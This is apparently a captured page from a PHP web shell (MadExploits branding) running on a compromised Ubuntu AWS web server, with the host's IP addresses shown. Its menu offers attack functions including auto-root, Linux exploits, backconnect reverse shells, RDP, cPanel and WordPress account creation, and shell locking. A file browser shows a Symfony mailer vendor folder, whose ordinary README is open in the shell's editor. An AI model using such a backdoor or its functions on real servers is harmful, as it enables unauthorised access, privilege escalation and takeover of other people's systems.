Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 18.222.106.93
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
boaz /
vendor /
symfony /
mailer /
[ HOME SHELL ]
Name
Size
Permission
Action
DataCollector
[ DIR ]
drwxrwxr-x
Event
[ DIR ]
drwxrwxr-x
EventListener
[ DIR ]
drwxrwxr-x
Exception
[ DIR ]
drwxrwxr-x
Header
[ DIR ]
drwxrwxr-x
Messenger
[ DIR ]
drwxrwxr-x
Test
[ DIR ]
drwxrwxr-x
Transport
[ DIR ]
drwxrwxr-x
CHANGELOG.md
1.91
KB
-rw-rw-r--
DelayedEnvelope.php
2.37
KB
-rw-rw-r--
Envelope.php
2.21
KB
-rw-rw-r--
LICENSE
1.04
KB
-rw-rw-r--
Mailer.php
1.82
KB
-rw-rw-r--
MailerInterface.php
763
B
-rw-rw-r--
README.md
1.85
KB
-rw-rw-r--
SentMessage.php
2.02
KB
-rw-rw-r--
Transport.php
5.99
KB
-rw-rw-r--
composer.json
1.34
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : README.md
Mailer Component ================ The Mailer component helps sending emails. Getting Started --------------- ``` $ composer require symfony/mailer ``` ```php use Symfony\Component\Mailer\Transport; use Symfony\Component\Mailer\Mailer; $transport = Transport::fromDsn('smtp://localhost'); $mailer = new Mailer($transport); $email = (new Email()) ->from('hello@example.com') ->to('you@example.com') //->cc('cc@example.com') //->bcc('bcc@example.com') //->replyTo('fabien@example.com') //->priority(Email::PRIORITY_HIGH) ->subject('Time for Symfony Mailer!') ->text('Sending emails is fun again!') ->html('<p>See Twig integration for better HTML integration!</p>'); $mailer->send($email); ``` To enable the Twig integration of the Mailer, require `symfony/twig-bridge` and set up the `BodyRenderer`: ```php use Symfony\Bridge\Twig\Mime\BodyRenderer; use Symfony\Component\EventDispatcher\EventDispatcher; use Symfony\Component\Mailer\EventListener\MessageListener; use Twig\Environment as TwigEnvironment; $twig = new TwigEnvironment(...); $messageListener = new MessageListener(new BodyRenderer($twig)); $eventDispatcher = new EventDispatcher(); $eventDispatcher->addSubscriber($messageListener); $mailer = new Mailer($transport, null, $eventDispatcher); $email = (new TemplatedEmail()) // ... ->htmlTemplate('emails/signup.html.twig') ->context([ 'expiration_date' => new \DateTime('+7 days'), 'username' => 'foo', ]) ; $mailer->mail($email); ``` Resources --------- * [Documentation](https://symfony.com/doc/current/mailer.html) * [Contributing](https://symfony.com/doc/current/contributing/index.html) * [Report issues](https://github.com/symfony/symfony/issues) and [send Pull Requests](https://github.com/symfony/symfony/pulls) in the [main Symfony repository](https://github.com/symfony/symfony)
Close